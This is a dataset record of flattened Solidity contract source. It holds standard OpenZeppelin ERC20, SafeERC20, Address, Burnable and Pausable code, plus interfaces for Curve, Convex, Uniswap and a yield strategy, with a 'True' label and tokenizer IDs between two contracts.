@dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface IStrategy { function deposit() external payable returns (uint256); function withdraw(uint256 lpAmount) external returns (uint256); function withdrawAll() external returns (uint256); function harvest(bool _compoundRewards) external; function setPoolId(uint256 _poolId) external; function getVirtualBalance() external returns (uint256); function getConvexLpBalance() external view returns (uint256); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface ICurveFi { function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external payable returns(uint256); function calc_token_amount(uint256[2] calldata amounts, bool is_deposit) external view returns(uint256); function calc_withdraw_one_coin(uint256 token_amount, int128 i) external view returns(uint256); function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external returns(uint256); function get_virtual_price() external returns (uint256); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface IConvexBaseReward { function getReward() external returns(bool); function withdrawAndUnwrap(uint256 amount, bool claim) external returns(bool); function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; interface IConvexBooster { function depositAll(uint256 _pid, bool _stake) external returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1005, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /* * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). / abstract contract ERC20Burnable is Context, ERC20 { /* * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. / function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /* * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. / function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } /* * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. / abstract contract Pausable is Context { /* * @dev Emitted when the pause is triggered by `account`. / event Paused(address account); /* * @dev Emitted when the pause is lifted by `account`. / event Unpaused(address account); bool private _paused; /* * @dev Initializes the contract in unpaused state. / constructor() { _paused = false; } /* * @dev Returns true if the contract is paused, and false otherwise. / function paused() public view virtual returns (bool) { return _paused; } /* * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. / modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /* * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. / modifier whenPaused() { 